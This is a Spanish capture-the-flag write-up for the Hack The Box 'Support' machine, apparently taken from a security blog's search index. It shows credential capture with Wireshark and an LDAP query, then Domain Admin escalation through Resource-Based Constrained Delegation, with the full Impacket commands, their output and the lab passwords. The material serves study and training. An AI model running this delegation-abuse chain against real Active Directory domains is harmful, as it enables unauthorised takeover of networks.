Se puede enumerar mediante null session.\nRecogemos herramientas para el análisis y llama la atención UserInfo.exe. Lo descomprimimos y revisamos DLLs y ficheros de configuración. Con strings no aparece nada útil inicialmente.\nAnálisis de UserInfo.exe (extracción de credenciales) Para poder ejecutar el binario desde Kali, instalamos dependencias y lo probamos con mono.\n┌──(root㉿kali)-[/home/…/Desktop/HTB/Support/loot] └─# mono UserInfo.exe -find Usage: UserInfo.exe [options] [commands] Options: -v|--verbose Verbose output Commands: find Find a user user Get information about a user \u0026#39;-find\u0026#39; is not recognized as a valid command or option. Did you mean: find ┌──(root㉿kali)-[/home/…/Desktop/HTB/Support/loot] └─# mono UserInfo.exe find [-] At least one of -first or -last is required. ┌──(root㉿kali)-[/home/…/Desktop/HTB/Support/loot] └─# mono UserInfo.exe find -first lala [-] Exception: Connect Error Aparece un Connect Error. Abrimos Wireshark para entender qué ocurre.\nLa causa es que necesitamos resolver el dominio (añadir el nombre de dominio a la IP, para que el DNS resuelva correctamente).\nAl revisar el tráfico, vemos que UserInfo.exe se comunica con el servidor usando el usuario ldap.\nLo importante: las credenciales viajan en texto plano, así que obtenemos el primer par usuario:contraseña.\nldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz Enumeración de AD Con estas credenciales lanzamos enumeración con BloodHound.\nNo aparece un camino directo, pero destaca el usuario support.htb, ya que pertenece a un grupo no estándar.\nComo BloodHound no siempre recoge todo, enumeramos también vía LDAP para obtener campos adicionales (por ejemplo, info).\nldapsearch -H ldap://support.htb -D \u0026#39;ldap@support.htb\u0026#39; -w \u0026#39;nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz\u0026#39; -b \u0026#39;DC=support,DC=htb\u0026#39; \u0026gt; ldap.out En la salida encontramos una credencial en claro en el campo info de un usuario.\nsupport.htb:Ironside47pleasure40Watchful Con esto obtenemos la user flag.\nEscalada: Resource-Based Constrained Delegation (RBCD) A partir del grafo de BloodHound, el camino a Domain Admin pasa por RBCD.\nResumen rápido de RBCD Objetivo: lograr que un equipo/servicio acepte que nuestra cuenta puede suplantar (impersonate) a otro usuario al pedir tickets Kerberos. Idea: crear una cuenta de máquina controlada por el atacante, permitirle actuar en nombre de otros sobre el objetivo y luego solicitar un ticket para un servicio del objetivo suplantando a Administrator. Paso 1: crear una cuenta de equipo controlada por el atacante (Usamos Impacket para crear `ATTACKERSYSTEM$`.) ┌──(root㉿kali)-[/home/kali] └─# impacket-addcomputer -method SAMR -computer-name \u0026#39;ATTACKERSYSTEM$\u0026#39; -computer-pass \u0026#39;Summer2018!\u0026#39; -dc-host 10.129.230.181 -domain-netbios support.htb \u0026#39;support.htb/support:Ironside47pleasure40Watchful\u0026#39; Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Successfully added machine account ATTACKERSYSTEM$ with password Summer2018!. Paso 2: permitir delegación sobre el objetivo (DC$) Escribimos el atributo para que `ATTACKERSYSTEM$` pueda actuar en nombre de otros usuarios sobre el objetivo. ┌──(root㉿kali)-[/home/kali] └─# impacket-rbcd -delegate-from \u0026#39;ATTACKERSYSTEM$\u0026#39; -delegate-to \u0026#39;DC$\u0026#39; -action \u0026#39;write\u0026#39; -dc-ip 10.129.230.181 \u0026#39;support.htb/support:Ironside47pleasure40Watchful\u0026#39; Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty [*] Delegation rights modified successfully! [*] ATTACKERSYSTEM$ can now impersonate users on DC$ via S4U2Proxy [*] Accounts allowed to act on behalf of other identity: [*] ATTACKERSYSTEM$ (S-1-5-21-1677581083-3380853377-188903654-6103) Paso 3: solicitar un Service Ticket suplantando a Administrator ┌──(root㉿kali)-[/home/kali] └─# impacket-getST -spn \u0026#39;cifs/dc.support.htb\u0026#39; -impersonate \u0026#39;administrator\u0026#39; \u0026#39;support.htb/attackersystem$:Summer2018!\u0026#39; Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [-] CCache file is not found. Skipping... [*] Getting TGT for user [*] Impersonating administrator [*] Requesting S4U2self [*] Requesting S4U2Proxy [*] Saving ticket in administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache klist export KRB5CCNAME=administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache Con el ticket en sesión, ya tenemos acceso como administrator.\n","permalink":"https://synacklabs.github.io/posts/support/","tags":["Windows","AD","RBCD"],"title":"Support (Easy)"},{"categories":null,"content":"","permalink":"https://synacklabs.github.io/search/","tags":null,"title":"Search Database"},{"categories":null,"content":"root@SynAckLabs:~$ id uid=0(root) gid=0(root) groups=0(root)\n\u0026gt;_ Misión SynAckLabs es un espacio de investigación y aprendizaje donde colisionan dos mundos: la ofensiva (Red Team) y la defensiva (Blue Team).\nNuestro objetivo no es solo romper cosas, sino entender cómo se rompen para protegerlas mejor (o romperlas con más estilo).\n\u0026gt;_ El Equipo Ismael Laya Martínez Khaled El Modden ","permalink":"https://synacklabs.github.io/about/","tags":null,"title":"Whoweare"}]